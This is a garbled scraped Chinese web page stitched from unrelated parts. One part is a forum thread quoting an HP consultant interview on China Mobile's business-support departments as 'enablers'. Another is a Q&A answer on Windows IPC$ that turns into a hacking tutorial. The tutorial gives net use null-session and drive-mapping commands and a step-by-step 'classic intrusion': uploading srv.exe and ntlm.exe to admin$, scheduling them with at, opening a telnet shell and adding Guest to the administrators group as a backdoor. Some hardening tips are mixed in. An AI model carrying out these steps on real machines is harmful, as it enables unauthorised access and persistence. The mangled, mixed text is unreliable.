运营与营运到底在管理中有什么区别？ - 知乎36被浏览<strong class="NumberBoard-itemValue" title="3分享邀请回答3添加评论分享收藏感谢收起2添加评论分享收藏感谢收起运营管理考点及答案1_百度文库
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3462|回复:
职能部门：
11:52:02 |
我知道有主流程\一级子流程\二级子流程等谢谢<div class="votes" id="Score
畅享论坛提示：看帖后顺手回帖，是对辛苦发帖者的鼓励，是美德。
职能部门：企业信息管理师
金币：2034
11:40:29 |
这个头一次听说，GOOGLE一下，有篇文章： 使能者演绎IT部门新使命-合作伙伴篇-HP（《电信管理》2007/06之定睛）
[SIZE=5][B]使能者是必然[/B][/SIZE] [SIZE=3][B]访中国惠普咨询与集成事业部的咨询经理赵敏琪[/B][/SIZE]
HP可以说是中国移动比较紧密的合作伙伴，他们有专门的咨询团队和中国移动保持着密切的合作。从BOSS系统的一路规划下来，以至到未来中国移动的NGBOSS规划，HP的不少咨询顾问亲历了中国移动的业务支撑部门从原来从属市场部门的承担计费职能的生产维护中心，到今天与市场部、数据部、集团客户部、网络部等部门平级的业务支撑系统部，几年下来的发展过程，相信他们对使能者的概念会从第三方角度有自己的认识和理解。《电信管理》就“使能者”采访了中国惠普咨询与集成事业部的咨询经理赵敏琪。 基于对电信行业的了解，以及和中国移动集团业务支撑部门的长期合作，包括和移动各省公司的接触，[U]赵敏琪认为“成为企业核心竞争力的使能者”是集团公司领导为业务支撑部门设定的发展目标，目前中国移动集团总部和31个省公司的业务支撑部门正处在从业务流程支撑者、业务需求实现者转变和提升为企业业务运营能力使能者、企业核心竞争力的使能者的发展过程中。[/U]
[B]“使能”是“支持”的继承和提升[/B] 赵敏琪认为，谈到使能者，首先要归根溯源看英文“Enable”的原始含义是什么，英文Enable在词典中的注释是“使能够，赋予权力或方法”，从现实中看，业务支撑部门作为使能者应该是提供业务运营的方法和平台。但是仅仅提供方法和平台是不是就足够了呢？赵敏琪进一步认为，[U]作为支持者（Supporter）也是提供方法和平台，而使能者和支持者的根本差异在于创新，前者是在技术层面实现创新，后者是在业务运营能力和企业竞争力层面上实现创新，业务支撑部门作“使能者”是在做好“支持者”的基础上的转型和跨越。[/U]业务支撑部门作为支持者时是围绕业务支撑系统（包括软硬件平台、应用系统和数据）的生命周期为核心展开本职工作的，包括系统的需求挖掘、规划建设、设计开发、测试上线、运行维护、优化改进等，是在技术层面上实现创新，而中国移动毕竟是一个运营商，不是系统集成商和技术厂商，业务支撑部门在技术层面的创新和引入新技术如果不能转化为运营能力层面的创新，不能转化为收入的增长，往往无法被其他部门和高层管理者所理解和认可。而业务支撑部门作为使能者时，是围绕业务运营流程和能力为核心开展工作的，包括使能端到端的客户生命周期管理、产品生命周期管理，使能财务收入实现和财务风险控制，真正用从业务支撑系统中获得的系统能力和业务数据来同业务部门合作优化业务流程、提升运营能力，甚至实现产品和业务模式上的创新，业务支撑部门能够实现了业务层面上的创新，才能够真正区别于支持者的定位，成为使能者。
[B]“使能”反映了部门职责的变迁[/B] 赵敏琪从2002年开始就作为咨询顾问参与中国移动BOSS规划和建设，从中国移动合作伙伴的角度亲历了中国移动业务支撑系统的发展过程，因此他认为移动业务支撑系统发展历程可以从侧面反映业务支撑部门职责的变迁：对应于早期计费业务中心的部门定位，其BOSS系统所承载的功能只是从服务转化为收入过程中最核心的营业、计费、帐务等业务流程，计费业务中心职责总体是偏后台的，是生产和维护中心。而伴随着中国移动企业运营流程日趋复杂化，以信息化为手段提升运营效率、规范运营流程的要求开始出现，这样从2004年的BOSS1.5开始,增加了很多支持日常业务经营管理的功能，对于这个变化缘于当时市场经营的需要，把一些手工的流程以及随意性比较强的业务管理流程，逐步固化到BOSS系统中去实现。随着越来越多的业务管理流程和数据进入BOSS及其外挂系统，企业市场、营销、服务的大多数业务管理流程都由IT系统来进行支撑，企业的运营管理也就开始依赖IT系统的运行。
而且前端业务部门也随着企业发展的要求开始进专业化职责划分，从市场部逐步派生出来客服部（或中心）、数据部、集团客户部，各自承担企业运营流程的一部分专业职能和流程环节，大量的新人上岗一开始就在新的职责划分格局下工作。
这样就出现这样一个状态，业务部门开始更熟悉业务支撑系统的操作级流程，越来越关注局部流程和功能，而对承载在业务支撑系统中的整个业务流程和业务管理流程的端到端设计开始不那么熟悉了。相反，业务支撑部门作为业务支撑系统的建设者却不断地从各业务部门接收需求，成为需求的汇聚点，可以看到端到端的业务流程和较为完整的业务规则。而且由于业务支撑部门的这种现状，它比较容易发现不同部门的需求之间是否会有冲突和矛盾，可以主动发现现行业务流程中低效、不合理的操作环节和业务规定，可以和业务部门坐下来平等的协商优化和改进措施。[U]在这样一个过程中，业务支撑部门就慢慢具备了从业务流程支持者发展到到企业运营能力的使能者的可能性。[/U]
[B]“使能”已经部分成为现实[/B] 赵敏琪认为业务支撑部门的使能作用，并不是空中楼阁的全新，赵敏琪认为现实中业务支撑部门的使能者角色已经部分得到实现，即使不是自觉和有所准备的。 比如，一些业务支撑部门已经从业务需求的实现者转变为业务需求的整合者、业务流程的优化者。当前，中国移动业务部门由于收入增长压力，关注重点更多是如何获取新客户、捕获市场需求，最快速的把客户和需求转化为企业收入，过于关注前端。业务支撑部门如果还是处于原来需求实现者的角色，去等业务部门的需求，就会发现业务部门的想法往往集中在目标客户群选取和套餐资费的设计上，而对后期服务如何保证、财务上如何体现等缺少全局考虑，这些都要求业务支撑部门必须跳出原有角色，主动把业务部门、客服部门、网络部、财务部门拉在一起，和各部门一起合作把一个营销设想转化一个比较完整的新业务营销方案。
再比如，中国移动通过经营分析系统和客服系统的互动，实现通过对客户消费数据和资料数据挖掘来分析客户的特征，定义针对性的资费套餐，并通过客服中心的主动外呼或群发短信来进行定向精确营销，改变了原来的大众营销模式，提高了营销效率。这是一个典型的以业务支撑系统的系统能力和数据为平台和工具，改变了的业务运营模式，是业务支撑部门作为使能者的一个典型。
这样的例子还很多，比如通过对计费系统提速到准实时的进行话单采集、批价和余额信用控制，这些都很好地降低了预付费用户的欠费风险，使得中国移动在使用预付费资费模式大举进入低端客户市场时较好地控制了收入流失风险，这些依靠传统计费系统的后付费模式是根本做不到的。
从这些案例我们可以看出，[U]业务支撑部门通过创新性地使用业务支撑系统的系统能力和数据，已经开始在业务运营能力层面上进行改进、优化、创新等尝试，“成为使能者”已经部分得到实现。[/U]
[B]使能者需要复合能力[/B] 赵敏琪认为仅仅看到业务支撑部门成为使能者这一目标是不够的，因这仅仅强调企业管理层和协作部门的要求，还必须同时看到成为使能者对业务支撑部门提出了更高的能力要求。目标和能力必须匹配才可能发挥作用。赵敏琪通过和中国移动合作完成NGBOSS规划等项目，也总结了为了中国移动业务支撑部门未来可能的职责定位和相应的能力要求。他认为[U]未来业务支撑部门不仅需要承担传统的生产维护中心的职责，负责话单和帐单生产，也需要有一些运营管理的职能，同时有使能企业运营管理和财务风险控制，使能服务营销的职责。[/U]
业务支撑系统生命周期的管理，从前期的规划、建设、上线，到后期维护和优化等等，这些都是作为信息技术专家的工作和相应的能力要求。而在业务支撑系统之上承载的是企业的核心业务运营流程和数据，如产品管理、订单管理、客户服务、计费帐务等方面的业务流程、业务规则、业务数据，这些才是是业务支撑部门的核心工作，使能业务运营能力实现和优化是业务支撑部门在企业中存在的核心价值，在这个方面，业务支撑部门应该是业务运营能力使能者、业务流程优化专家、经营分析专家等，通过不断把IT系统能力转化为企业的业务运营能力和竞争优势来提升企业运营能力，不断发现问题，然后解决问题。这方面的能力要求就很高了。
而由于提供了业务运营支撑系统，业务支撑部门就要服务于这个系统的内外部客户，包括支撑最终客户的自助服务，支撑营业厅、外部渠道、客服中心等前端渠道营销和服务，支撑市场部、数据部、集团客户部业务部门的营销管理和业务管理工作，也就是使能前端服务和营销，在这个方面，业务支撑部门要甘于作前端部门的营销助手和服务助手。
与此同时，业务支撑部门还可以使能企业管理和财务指标，因为业务支撑系统承载的业务流程本质是把企业提供服务转变为企业收入实现的过程；业务支撑系统支撑的运营管理、营销管理和业务管理是企业最核心的增值性管理工作；通过对业务流程的严格监管、对业务数据的严格稽核，使业务支撑部门还可以帮助财务部门控制财务风险；更重要的是通过对业务运营能力的不断优化和创新，业务支撑部门还可以创新出全新的业务模式，实现企业竞争力的飞跃。承担好这方面的工作就要求业务支撑部门应该作为企业管理的助手、财务风险控制的助手和业务模式的创新者。
而在未来几年中业务支撑部门作为一个组织本身也要发展，就其部门本身的管理而言，他应该是高效能的管理者。从上述可看出未来业务支撑部门的职能是复合性的。而且业务支撑部门每个职责和每个角色的定位都对其自身的能力有很多要求，未来业务支撑部门的能力要求也是复合性的。这就要求业务支撑系统部门要在能力准备方面做好充分的投入。
赵敏琪认为HP咨询部门成立时间短，无论是早先提出的“动成长企业”，还是最近提出的“Business Technology”，其重点发展方向总是企业业务发展战略和IT发展战略之间的结合和统一上，HP咨询部门在工作方式上也不是把在国外的项目实践和经验在中国客户那里简单复制，而是希望自己可以和客户企业一起创新，把客户的业务目标和IT部门的发展目标进行有机的结合，让IT技术可以帮助企业创造更多价值。
#link1{background: url(http://www.vsharing.com/images/link1.gif) no- width:120 height:31}#link1 a{color:#00565……
行业：钢铁冶金矿业
职能部门：综合经营
城市：鞍山市
10:49:10 |
网上找到的一个流程框架清单，里面有使能流程名单
( 113 KB )
行业：电子电器/仪器仪表
职能部门：研究/开发
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22:19:22 |
行业：零售连锁分销
职能部门：销售管理
城市：台州市
10:56:21 |
正在学习中，现在新概念真是太多了
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截止日前填写还能获得专业行业信息化分析报告。IPC$是什么？_百度知道
IPC$是什么？
我有更好的答案
本来不想回答的.可是我很鄙视复制的.就像上面那位复制的一样.简单概括一下.IPC是一种系统管道.WIN 2000系统默认是开的.所以很多人会利用这个管道来和别人进行空连接.从而达到入侵的目的.所以就变成了漏洞.WIN XP下是默认关闭的了.所以我们不用再担心.这东西本来是微软为了用户方便而搞出来的.事实上对我们来说没什么用.
采纳率：10%
IPC$ 是一个系统的共享系统
一般这都和黑客入侵有关，IPC$在WIN 03有严重的漏洞，黑客通过IPC$的控制提权对你的电脑实行破坏，但到WIN XP之后，WINDOWS的验证系统有了提高，使IPC$的漏洞入侵不在轻易这使因为即使黑客用你的管理员账号远程登录你的漏洞，也只是默认为GUEST，但黑客通常会利用一个注册表的修改文件将你的默认值改掉 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的键值改为:
补充一下 入侵步骤吧1)建立空连接:net use \\IP\ipc$ && /user:&&
(一定要注意:这一行命令中包含了3个空格) 2)建立非空连接:net use \\IP\ipc$ &用户名& /user:&密码&
(同样有3个空格)3)映射默认共享:net use z: \\IP\c$ &密码& /user:&用户名&
(即可将对方的c盘映射为自己的z盘，其他盘类推)如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$4)删除一个ipc$连接net use \\IP\ipc$ /del 5)删除共享映射net use c: /del 删除映射的c盘，其他盘类推 net use * /del 删除全部,会有提示要求按y确认说的不是很详细 如果感兴趣 你留言给我 我告诉你更多 可以教你点这方面的黑客技术
二 什么是ipc$IPC$(Internet Process Connection)是共享&命名管道&的资源(大家都是这么说的)，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的)，而利用这个空的连接，连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$，访问共享资源,导出用户列表,并使用一些字典工具，进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.解惑:1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能，其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数，所以不能在Windows 9.x中运行。也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表三 建立ipc$连接在hack攻击中的作用就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server，还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:( 因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.四 ipc$与空连接,139,445端口,默认共享的关系以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)1)ipc$与空连接:不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).2)ipc$与139,445端口:ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.3)ipc$与默认共享默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)五 ipc$连接失败的原因以下5个原因是比较常见的:1)你的系统不是NT或以上操作系统;2)对方没有打开ipc$默认共享3)对方未开启139或445端口(惑被防火墙屏蔽)4)你的命令输入有误(比如缺少了空格等)5)用户名或密码错误(空连接当然无所谓了)另外,你也可以根据返回的错误号分析原因： 错误号5，拒绝访问 ： 很可能你使用的用户不是管理员权限的，先提升权限； 错误号51，Windows 无法找到网络路径 : 网络有问题； 错误号53，找不到网络路径 ： ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）； 错误号67，找不到网络名 ： 你的lanmanworkstation服务未启动；目标删除了ipc$； 错误号1219，提供的凭据与已存在的凭据集冲突 ： 你已经和对方建立了一个ipc$，请删除再连。 错误号1326，未知的用户名或错误密码 ： 原因很明显了； 错误号1792，试图登录，但是网络登录服务没有启动 ： 目标NetLogon服务未启动。（连接域控会出现此情况） 错误号2242，此用户的密码已经过期 ： 目标有帐号策略，强制定期要求更改密码。 关于ipc$连不上的问题比较复杂，除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.六
如何打开目标的IPC$(此段引自相关文章) 首先你需要获得一个不依赖于ipc$的shell，比如sql的cmd扩展、telnet、木马,当然，这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道，ipc$能否使用还有很多条件。请确认相关服务都已运行，没有就启动它（不知道怎么做的请看net命令的用法）,还是不行的话（比如有防火墙，杀不了）建议放弃。 七
如何防范ipc$入侵1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)首先运行regedit，找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为：(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)2禁止默认共享1）察看本地共享资源运行-cmd-输入net share2）删除共享(每次输入一个）net share ipc$ /deletenet share admin$ /deletenet share c$ /deletenet share d$ /delete（如果有e,f,……可以继续删除）3）停止server服务net stop server /y （重新启动后server服务会重新开启）4）修改注册表运行-regeditserver版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的键值改为:。 pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的键值改为:。 如果上面所说的主键不存在，就新建(右击-新建-双字节值）一个主健再改键值。 3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-已禁用4安装防火墙(选中相关设置)，或者端口过滤(滤掉139,445等),或者用新版本的优化大师5设置复杂密码，防止通过ipc$穷举密码（本教程不定期更新，欲获得最新版本，请登陆官方网站：菜菜鸟社区原创）八 相关命令1)建立空连接:net use \\IP\ipc$ && /user:&&
(一定要注意:这一行命令中包含了3个空格) 2)建立非空连接:net use \\IP\ipc$ &用户名& /user:&密码&
(同样有3个空格)3)映射默认共享:net use z: \\IP\c$ &密码& /user:&用户名&
(即可将对方的c盘映射为自己的z盘，其他盘类推)如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$4)删除一个ipc$连接net use \\IP\ipc$ /del 5)删除共享映射net use c: /del 删除映射的c盘，其他盘类推 net use * /del 删除全部,会有提示要求按y确认九 经典入侵模式这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈) 1. C:\&net use \\127.0.0.1\IPC$ && /user:&admintitrators& 这是用《流光》扫到的用户名是administrators，密码为&空&的IP地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为&空&，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。
2. C:\© srv.exe \\127.0.0.1\admin$ 先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。
3. C:\&net time \\127.0.0.1 查查时间，发现127.0.0.1 的当前时间是
上午 11:00，命令成功完成。
4. C:\&at \\127.0.0.1 11:05 srv.exe 用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！）
5. C:\&net time \\127.0.0.1再查查到时间没有？如果127.0.0.1 的当前时间是
上午 11:05，那就准备开始下面的命令。
6. C:\&telnet 127.0.0.1 99 这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了
7.C:\© ntlm.exe \\127.0.0.1\admin$用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。
8. C:\WINNT\system32&ntlm 输入ntlm启动（这里的C:\WINNT\system32&指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现&DONE&的时候，就说明已经启动正常。然后使用&net start telnet&来开启Telnet服务！ 9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈)为了以防万一,我们再把guest激活加到管理组
10. C:\&net user guest /active:yes 将对方的Guest用户激活11. C:\&net user guest 1234 将Guest的密码改为1234,或者你要设定的密码12. C:\&net localgroup administrators guest /add 将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机)不知道这样的回答你满意没有
黑客长用的东西ipc$空链接
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